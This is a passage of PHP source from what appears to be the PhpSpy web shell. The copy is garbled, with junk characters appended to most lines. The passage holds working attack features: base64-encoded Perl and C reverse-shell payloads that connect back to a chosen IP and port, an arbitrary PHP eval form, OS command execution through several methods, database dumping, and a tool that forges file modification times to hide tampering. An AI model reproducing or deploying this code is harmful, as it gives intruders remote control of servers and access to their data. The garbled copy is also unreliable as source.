  1021.                         } else {2 Q( P: x5 y5 V4 L: J# R: \* o
  1022.                                 $query = q("SHOW TABLE STATUS");. x( `! m3 B- ^4 l, Q0 E. g
  1023.                                 $table_num = $table_rows = $data_size = 0;
    1 n, m5 p0 A+ o' |7 I2 j3 v
  1024.                                 $tabledb = array();
    " |: Q4 L& V; a$ t
  1025.                                 while($table = mysql_fetch_array($query)) {8 m$ ~' x* p% O. M
  1026.                                         $data_size = $data_size + $table['Data_length'];
    - D5 f! K2 i# {+ o" \' D( X
  1027.                                         $table_rows = $table_rows + $table['Rows'];9 A& B+ ?, T: @: c& B0 v$ ?
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);5 ]; F# v3 S* o! b9 u. v
  1029.                                         $table_num++;0 N; N: I7 u/ ^
  1030.                                         $tabledb[] = $table;
    9 f- r2 i0 ~) O1 i$ r! V# n
  1031.                                 }! e3 C+ E# g  `: [* Q7 z$ w
  1032.                                 $data_size = sizecount($data_size);! ^6 e- l' v& r$ Q1 A& |
  1033.                                 unset($table);
    ; _' i3 o8 [* ~, C5 ^9 `+ E
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');7 Y) e; b$ c% F" L
  1035.                                 p('<form action="'.$self.'" method="POST">');
    5 X2 x5 S8 n2 x0 g6 u, J" I
  1036.                                 makehide('action','sqladmin');9 w; I6 p# P5 K( d& P
  1037.                                 p($dbform);$ |& ^% W) }9 L# B' j3 m  v
  1038.                                 p('<tr class="head">');
    ' t9 b: L5 }( Q0 `: Q  S
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    / X$ k* W& s& l
  1040.                                 p('<td>Name</td>');
    " P) e$ R- s6 C* b! ?1 E9 y% W8 |
  1041.                                 p('<td>Rows</td>');
    9 o$ Y( R3 w# n4 M+ H
  1042.                                 p('<td>Data_length</td>');
    & w# S# `/ \4 D; q
  1043.                                 p('<td>Create_time</td>');* Y7 b5 m8 \0 B7 V2 l
  1044.                                 p('<td>Update_time</td>');
    6 Z% L2 Q1 O) |: [
  1045.                                 if ($highver) {( `0 D3 Z+ l8 P/ \0 H9 E- w
  1046.                                         p('<td>Engine</td>');
    ( H" Z& `+ A9 K5 @; l
  1047.                                         p('<td>Collation</td>');
    2 g. f; }. Q* D1 W- i" |6 n
  1048.                                 }( y: H5 I7 c/ N& I0 c* e$ v( r
  1049.                                 p('</tr>');: \/ p0 E2 e! c5 O* P6 K% u
  1050.                                 foreach ($tabledb as $key => $table) {
    ) V1 N: q: v% [- M' s
  1051.                                         $thisbg = bg();
    6 {6 }/ D7 h+ K0 R, ^
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 M! W$ ^2 u' m! l5 E3 r9 ?5 D
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    + Z7 g& Z" G5 F4 m+ b
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');& D1 H3 Q& B4 H$ w8 J
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    # H0 N: n* H. f
  1056.                                         p('<td>'.$table['Data_length'].'</td>');7 K' F6 O3 s* N$ o" H
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    ( \7 k; @4 f) f( ~
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    % |7 }: T6 z5 k/ a& d' T2 }
  1059.                                         if ($highver) {
    4 }# u2 _4 z  z  K4 m6 L
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    4 X8 F" M3 [. Q4 |
  1061.                                                 p('<td>'.$table['Collation'].'</td>');5 o0 `; V: K4 O
  1062.                                         }
    ! E4 {- I3 p8 L& e: E
  1063.                                         p('</tr>');* y1 {1 W+ P- Q7 s  f
  1064.                                 }9 i/ V! ^, B4 n- [& v2 q7 l
  1065.                                 p('<tr class='.bg().'>');
    6 v9 {. x8 V# r
  1066.                                 p('<td> </td>');
    : q+ O+ a* _% K( M
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');' m9 \8 x( p# S: q
  1068.                                 p('<td>'.$table_rows.'</td>');4 l4 _' k7 t3 x
  1069.                                 p('<td>'.$data_size.'</td>');
    ) R$ a0 p: M1 V+ U" x5 c
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');' u! C7 c/ u0 D, X" R" S/ v! q
  1071.                                 p('</tr>');0 P0 c, t& |6 B1 ^
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");" }6 E+ t* U# a* p+ W# n- F9 H
  1073.                                 makehide('doing','backupmysql');+ |% u9 H8 V6 F( g5 R$ V
  1074.                                 formfoot();$ G% Z& N8 M" Y; b3 e/ B
  1075.                                 p("</table>");
    9 L0 r9 f, Z0 q7 E1 |5 I! ]. _
  1076.                                 fr($query);* n& l, ^- |2 ~9 S3 Q3 H
  1077.                         }: x4 l' B: m6 F. ^) }) u
  1078.                 }. D/ r* K  }3 b$ Q# `2 C' _2 `: i
  1079.         }
    8 z/ K8 e* c9 T; q6 I& X$ P# X
  1080.         tbfoot();
    $ [% e2 [# N. E+ ?/ a- g5 [7 e
  1081.         @mysql_close();
      J' [' ]7 L3 ^2 t9 W* ^5 F
  1082. }//end sql backup( X  S2 J8 O& k' p* J1 v" W% |
  1083. elseif ($action == 'backconnect') {
    3 o) u( U7 J3 Q$ C  i* r( x
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    ) S" Q1 Q4 z8 M! n% T
  1085.         !$yourport && $yourport = '12345';, M0 ~1 z9 B, n+ Y$ g
  1086.         $usedb = array('perl'=>'perl','c'=>'c');0 p5 c/ q* F' S" T* I, |! m
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".  L; h7 ?1 q! a9 w: V& r3 V
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    ! M8 {- p6 O8 J
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    6 s' V/ f9 j" G  Y  w1 P
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    ) e* y* R' z6 J1 ]7 E% n
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".' h( q2 s. ]% b5 Q
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    ! \/ P( u) L8 ?! R
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    & Q4 S" |7 Q: I' M9 v# |7 g+ b4 ~8 ~  O
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".5 H. A6 T, y1 B- }$ N7 o% `+ E
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".3 s7 W/ l5 C+ f# @; A! \- Q& W
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".2 C! C* r* t% b/ ?
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
    9 Z6 g0 C+ k6 \4 ]
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    ( f  V$ r2 y3 H! V4 }
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    ) O! k5 g" y4 @& c% x
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
    9 S; C5 y0 K7 u$ C- p) X7 U
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    + ]. n" g- a* Q1 Y$ k" X1 B
  1102.         if ($start && $yourip && $yourport && $use){
    " h$ m0 ~' q1 M$ E, j
  1103.                 if ($use == 'perl') {7 _, x* [  M( R! A
  1104.                         cf('/tmp/angel_bc',$back_connect);' C8 s& M/ w% \$ N* U# \& [, G3 @1 G& b; l
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");; N+ R& d5 R- K' i
  1106.                 } else {% S, K. U6 N; b" m. w
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
    6 i/ U; o& O: {( ~
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');" a0 z7 ^' M* H% f* N
  1109.                         @unlink('/tmp/angel_bc.c');
    " ]& S' O0 N, r7 e$ n
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
    9 O! Q0 `- s) N; m" r2 n; K3 C  X
  1111.                 }3 t: `5 G4 e' J8 Z( {
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    ( g( [* r( d1 i! [. h4 z( t
  1113.         }$ j5 z, L# U! u% l- o" W/ q
  1114.         formhead(array('title'=>'Back Connect'));
    * U$ n; N) @: f# g' P
  1115.         makehide('action','backconnect');
    4 s  z; b# ?: B4 m$ R# f
  1116.         p('<p>');& w7 H. H7 }1 ~! j+ B
  1117.         p('Your IP:');# o0 c6 Z! k5 {; u3 h* ?
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    7 e# I2 ~' {, |
  1119.         p('Your Port:');) z( o9 N6 l% e: D$ f7 |! T, i
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));1 q, [  l$ k4 i7 U1 e
  1121.         p('Use:');. t5 }) ^* [  N, b5 `
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    0 r% p( X' v+ b4 o. j6 e$ `
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    - J- m# v! `. u
  1124.         p('</p>');
    / x5 A1 ?( w; `7 G
  1125.         formfoot();
    % V- ^( l' r2 _3 M$ E: |
  1126. }//end sql backup
    ' I6 O  r) f) l+ d! b
  1127. elseif ($action == 'eval') {. S! ?& ?. x! T, U
  1128.         $phpcode = trim($phpcode);
    8 f; j: V) v6 f
  1129.         if($phpcode){% u  B: P: Y2 e8 T, v3 t, Y/ m
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {2 h# _2 \6 ?0 ?( P$ `$ y7 P
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";4 {2 m: T9 O! h9 K% @" u: n2 m" G! P
  1132.                 }. L: R; K" V/ K' `
  1133.                 eval("?".">$phpcode<?");
    ; |* \- P. y5 l# }" W7 O4 [
  1134.         }
    " |# Z( B) V4 n
  1135.         formhead(array('title'=>'Eval PHP Code'));0 @2 `3 q; G8 W' O
  1136.         makehide('action','eval');' u0 B' b; a7 p: |
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    9 q( |, }1 k+ A
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');# c7 e0 z' B, h. i7 G  ^
  1139.         formfooter();
    ; S9 G* ?9 l1 n: L
  1140. }//end eval
    ) ]; `0 b4 L3 d* R1 r
  1141. , O4 C3 Q$ v2 Y! t% D5 a, O
  1142. elseif ($action == 'editfile') {# t9 [+ I5 v1 ]9 n6 U) Q" h
  1143.         if(file_exists($opfile)) {
    - S" W9 D' a4 T1 e
  1144.                 $fp=@fopen($opfile,'r');: T5 H! V: I3 |* H0 l0 Z
  1145.                 $contents=@fread($fp, filesize($opfile));1 K/ K; }/ i8 \5 S
  1146.                 @fclose($fp);
    - a2 O+ F  Y3 p4 p# _
  1147.                 $contents=htmlspecialchars($contents);
    7 {0 ~* M5 \& `/ O' {9 @9 U
  1148.         }; s3 D6 D5 ]1 z, s
  1149.         formhead(array('title'=>'Create / Edit File'));
    ( [$ w! i$ `7 @9 }. a2 L. r
  1150.         makehide('action','file');
    1 P  l- `; Z* C. h* x' B' W
  1151.         makehide('dir',$nowpath);
    6 W, [0 A2 \' x/ u1 [
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
    4 y+ z$ {% i) O) F( S& n% v
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));8 v# O- H7 F& i% n0 O0 k2 V! o
  1154.         formfooter();
    / g) K& F1 W. V; O. M- A" {! f8 E
  1155. }//end editfile
    9 u" L; U* z' \
  1156. 4 b! {$ c) X: f2 r, N
  1157. elseif ($action == 'newtime') {
    8 u* w* {8 [2 R% w4 ~% E  M
  1158.         $opfilemtime = @filemtime($opfile);! U0 Q+ H2 b7 e8 P/ t# y1 W3 Y0 L0 T
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    + E: k. E$ v0 P
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    3 J* V% ^, p2 N7 g8 p/ A
  1161.         formhead(array('title'=>'Clone file was last modified time'));! E; Y2 o  k4 [+ B2 i
  1162.         makehide('action','file');6 `* {( J+ F; \* N0 e% R
  1163.         makehide('dir',$nowpath);+ L1 l3 B* I* @
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    ' ^- K' ~9 l# r% o& D/ |
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));0 V9 X* w3 X' p6 e4 Y
  1166.         formfooter();
    1 x, L6 m$ }- @: y5 F
  1167.         formhead(array('title'=>'Set last modified'));7 i2 K" a( A: B. ~9 L( F# v; k
  1168.         makehide('action','file');4 O0 `9 y- X6 L" S1 u
  1169.         makehide('dir',$nowpath);
    * O4 _1 j( A$ f9 a
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));1 d( W# h3 m0 T) e. b4 n" S) W! Q
  1171.         p('<p>Instead »');+ |3 q6 Q* n: E" v/ w" [
  1172.         p('year:');+ X0 U, y: N" h/ S9 ?) x
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));! f% O: R& M( f& _! s. W/ k
  1174.         p('month:');
    9 N: g# n& z; E5 q5 }
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    8 w# l0 C7 ?& _, ]9 W7 A7 E: Z2 j
  1176.         p('day:');( A4 L* C' \. ?& N
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    ; |0 |7 Q+ E" L) j. b1 [
  1178.         p('hour:');0 K! Q; a! l- G! i+ j0 s/ J
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));% ^9 c1 H- B" [( E
  1180.         p('minute:');. Y8 V$ |) a+ {4 x0 O4 F
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));4 G" U) M; \4 [; n' y( ~5 U2 W
  1182.         p('second:');
    2 r( P) n5 x' d1 r
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));8 _- V- D( l: B1 Q1 u
  1184.         p('</p>');
    8 L) L6 M% T0 u
  1185.         formfooter();
    + y9 \+ Y) x( ]" K
  1186. }//end newtime
    / l# C" z) x3 o1 ?2 p6 h
  1187. 6 }% l# c1 D0 _: [
  1188. elseif ($action == 'shell') {
    & Z3 @6 u% A- D' U
  1189.         if (IS_WIN && IS_COM) {. N2 O& ^$ S+ P. x9 a# Z
  1190.                 if($program && $parameter) {
    2 O& g. x6 ]; {- X# h9 K
  1191.                         $shell= new COM('Shell.Application');
    2 [; t9 P  i6 z. H  i2 b' n- B
  1192.                         $a = $shell->ShellExecute($program,$parameter);9 F( N' M2 p) O- v/ O! d
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));3 o3 H  S6 y9 K6 P6 l7 h
  1194.                 }; \$ a9 R# y* t9 I( o( G2 d  d8 f
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    % K! y- A* b. Q: Z7 a0 w, @& Y  T
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    ' B7 G7 g) z0 J  ]% y: `" U" Y0 N
  1197.                 formhead(array('title'=>'Execute Program'));
    ! Z' e; [% ]; ]* M4 _, L8 W
  1198.                 makehide('action','shell');) w/ ?/ T1 c+ m3 o. g
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));6 p( X5 K0 x- [) |* I9 T! E
  1200.                 p('<p>');& q2 _7 }, l- }! X' z9 w
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    4 }; x- @- p8 _* [: y7 X8 L" n
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));7 Q4 _, U2 J* @( d- o' R6 g
  1203.                 p('</p>');
    4 Q5 p% p5 ]; V8 T
  1204.                 formfoot();
    , ^5 E* `% {9 z* n- \' o
  1205.         }
    . V5 r! ]% d: I
  1206.         formhead(array('title'=>'Execute Command'));* J5 q. c$ M8 N) l: z. s1 A  e
  1207.         makehide('action','shell');0 E& O' H- E& t
  1208.         if (IS_WIN && IS_COM) {
    * U6 r) r% \  T& p" E, A+ Y3 {
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');, T* h6 t  Q7 K6 L+ U, l
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));& s2 Z6 t$ ~  K" d
  1211.         }
    3 W% u" S' m, p! R2 q
  1212.         p('<p>');
      {7 ~8 g& N+ g; b, H' M
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    % ^4 A1 r5 {# B) Y% y
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    - Y1 J3 ]! c. n! Z+ i( u# p9 d
  1215.         p('</p>');$ x2 G( O3 a' _
  1216.         formfoot();
    ) e& O9 Q5 [; H
  1217. " u* o) g. |5 x) F1 n6 D) d* c5 M: M
  1218.         if ($command) {9 A8 X$ j8 g" d( O6 q7 c- Q
  1219.                 p('<hr width="100%" noshade /><pre>');% O: [% e7 Z- i: h' k
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {# n6 j- n5 N4 C% U+ H$ L
  1221.                         $wsh = new COM('WScript.shell');
    * v4 {9 [0 O& f  F
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    / }( M" V# p* c0 T! g# A' s$ g3 e- y
  1223.                         $stdout = $exec->StdOut();7 d9 y$ _; w- r( U
  1224.                         $stroutput = $stdout->ReadAll();
    * m  M; ~4 `1 G; _' r
  1225.                         echo $stroutput;
    + c" d+ e$ n2 Y6 w
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {& G) j2 D" a+ j/ \9 X' _7 _- S
  1227.                         $descriptorspec = array(
    - ?8 K) U0 R1 ~- n  {  L
  1228.                            0 => array('pipe', 'r'),
    " y+ B4 L- A" o# m/ u: n
  1229.                            1 => array('pipe', 'w'),
    8 ^9 t' K, D/ f0 I1 e
  1230.                            2 => array('pipe', 'w')
    6 z8 S* u! E$ l3 d  L, l
  1231.                         );
    / g; {: c  ~1 k0 T
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    3 z# a3 e( D; [
  1233.                         if (is_resource($process)) {9 z# |2 e$ E: R/ @8 O3 P3 h: S
  1234.                                 fwrite($pipes[0], $command."\r\n");& Y: Y$ l/ B4 h, i- }4 U
  1235.                                 fwrite($pipes[0], "exit\r\n");: a) A( X& {! t) }9 K/ y
  1236.                                 fclose($pipes[0]);; x5 b9 \& D6 [2 h
  1237.                                 while (!feof($pipes[1])) {# y9 u, W8 V7 N" _. {3 i3 m) f. d
  1238.                                         echo fgets($pipes[1], 1024);, {9 U1 T' S& S8 N$ U4 t+ d9 }
  1239.                                 }2 ?6 d6 @/ q# x$ ?7 ?; u
  1240.                                 fclose($pipes[1]);1 S5 @/ S$ g7 C
  1241.                                 while (!feof($pipes[2])) {
    ; _/ \7 f6 T! j. V- f
  1242.                                         echo fgets($pipes[2], 1024);
    5 V2 i* j' S7 ~: Z4 C
  1243.                                 }! u( W' t9 W$ J
  1244.                                 fclose($pipes[2]);) t& V9 T7 v# [% i+ }* [
  1245.                                 proc_close($process);
    - |  @& K9 b+ ~5 W+ t
  1246.                         }
      h' {- x2 k) w% d6 s4 o9 ^
  1247.                 } else {
    ; T( l# z0 z9 d' T: f/ q' `. I$ Y
  1248.                         echo(execute($command));1 R: x) J. I$ t" T) G- U
  1249.                 }
    . }$ Z! @; e" O
  1250.                 p('</pre>');: T0 Q2 b& X$ `4 p) M
  1251.         }
      t: O& A; b3 d
  1252. }//end shell/ ]+ r- c1 o% t9 c, t( M

  1253. % _. k. _) ?  B
  1254. elseif ($action == 'phpenv') {# L+ o" E! H% t. {
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    : H/ \9 ^( C, }+ l: K
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');5 R5 Q+ c7 q5 ^  L
  1257.         !$dis_func && $dis_func = 'No';       
    7 [$ E' }1 B, y/ q2 ~' X
  1258.         $info = array(
    # Q( C& D, W! D: L
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    + @) G1 W" n, }6 m8 V# d
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),4 N" j; d& u+ u, G
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),% e0 O6 }$ J6 t7 I( a$ k' C
  1262.                 4 => array('Server OS',PHP_OS),
    8 T/ K8 a, v6 O
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),/ [4 \4 M9 k/ A$ ~
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),& B; z" W0 r3 t; c+ r: g6 _+ u- s
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
    & l9 T4 d0 S& `
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),; U. B7 Z! w- c! F
  1267.                 9 => array('The file path',__FILE__),6 ?% }! U. X" [. ]) e: C

  1268. & d" i: B! O. C* T# c
  1269.                 10 => array('PHP Version',PHP_VERSION),' e- X# l( L( f. L
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    & e/ Q. b; M$ ^5 M/ a+ W1 a$ R
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    ; h) @' W$ {4 V- g; O3 V+ C
  1272.                 13 => array('Administrator',$adminmail),* {' I8 `5 b/ N2 z3 D
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    0 B* x, y# [9 h
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),3 X  i' }. R' \6 Q$ k! P
  1275.                 16 => array('display_errors',getcfg('display_errors')),
      y* `' _+ f% K) g  }
  1276.                 17 => array('register_globals',getcfg('register_globals')),
    3 c6 x3 [/ f, B, G9 _
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),9 d; J8 H2 L; A0 p7 P. F, X2 ?
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),( H' k; ]3 n2 }1 o, P
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    8 y; E; m0 L: E/ ?5 w$ v
  1280.                 21 => array('upload_max_filesize',$upsize),* h% w3 _; L; W$ w- W
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    $ D# O5 Z$ k" N7 M* E& I8 K4 `% w: n7 j# I
  1282.                 23 => array('disable_functions',$dis_func),* `- [" c, }% H) T
  1283.         );' g5 Q1 Y5 B5 B
  1284. 1 Q+ O( e+ C5 g" h. b
  1285.         if($phpvarname) {) ]0 p( W  n# ~. a
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    " q6 D+ g+ B, ~5 ?4 s: h
  1287.         }
    8 D$ E. M/ U+ G$ D- j+ V

  1288. 2 U% a' \  B! N' N0 y# d) U  O
  1289.         formhead(array('title'=>'Server environment'));& m/ F4 w4 z, F% u2 ]! W7 ~
  1290.         makehide('action','phpenv');2 A0 ?# X2 N4 N0 J$ ~+ ]- f
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));8 i/ X1 Q/ \0 ]
  1292.         formfooter();
    ( |+ ?6 S& [" E( |% R
  1293. 7 }) V* l" [7 C& Z  f
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    - ~0 I8 n. g  l4 w
  1295.         for($a=0;$a<2;$a++) {- i& h+ {$ ^3 _+ e- L
  1296.                 p('<h2>'.$hp[$a].' »</h2>');- k, H4 s0 C/ E  {3 y3 k8 z
  1297.                 p('<ul class="info">');* [% v/ S) l) z% {  ~
  1298.                 if ($a==0) {
    5 x/ W+ u' \6 K) d7 E
  1299.                         for($i=1;$i<=9;$i++) {
    1 x4 r$ }9 s; o/ |
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');5 f9 l  S  r, x1 h0 Y, \
  1301.                         }
    9 X7 A; r( q) \- {2 W+ [
  1302.                 } elseif ($a == 1) {
    ) G' B& ~5 R- E/ E) ~
  1303.                         for($i=10;$i<=23;$i++) {  b6 y( N$ s5 i, r4 Q( v
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    * B* f  T  K  n: _. V* K8 l& T: q
  1305.                         }
    6 A2 z5 S/ D% s% t  V
  1306.                 }
    7 y+ l! l) @& A* a% ]3 k& Z
  1307.                 p('</ul>');
    : X( q0 Z7 @" O4 Y, p7 D
  1308.         }
    3 [! F* q/ W$ z# X- D+ q' Z. r
  1309. }//end phpenv' B* B% b5 \* i0 _7 b
  1310. 9 Q, g+ d/ \( @' z
  1311. else {& s! V# M+ Z5 {' z: r9 r
  1312.         m('Undefined Action');/ `- h" T' m( c( }' S" o' o
  1313. }1 b$ r* _. W- b% `0 A
  1314. + W" F: u, X4 t; a1 j4 {# H
  1315. ?>/ l' f  D1 a$ w" `" v
  1316. </td></tr></table>
    3 C- ?: h! W1 s7 [& r6 ]
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    # {" f! [# `6 F* o, |+ v
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>  n  U3 u  E3 X( }4 [% H
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    * w2 w1 U! m+ O6 c* l& M; p
  1320. </div>
    - l3 P! C+ x, j4 q' c$ g
  1321. </body>
    / h& H, Z" I* ?& l; W. I& h
  1322. </html>
    ' z6 N+ m' f' _) R$ u# l8 K. |+ h

  1323. - f/ Z: {' c' B
  1324. <?php, c$ j3 R* S: C
  1325. 8 v/ t- Y( E: Y
  1326. /*======================================================
    1 v: ^/ K8 y& V2 F
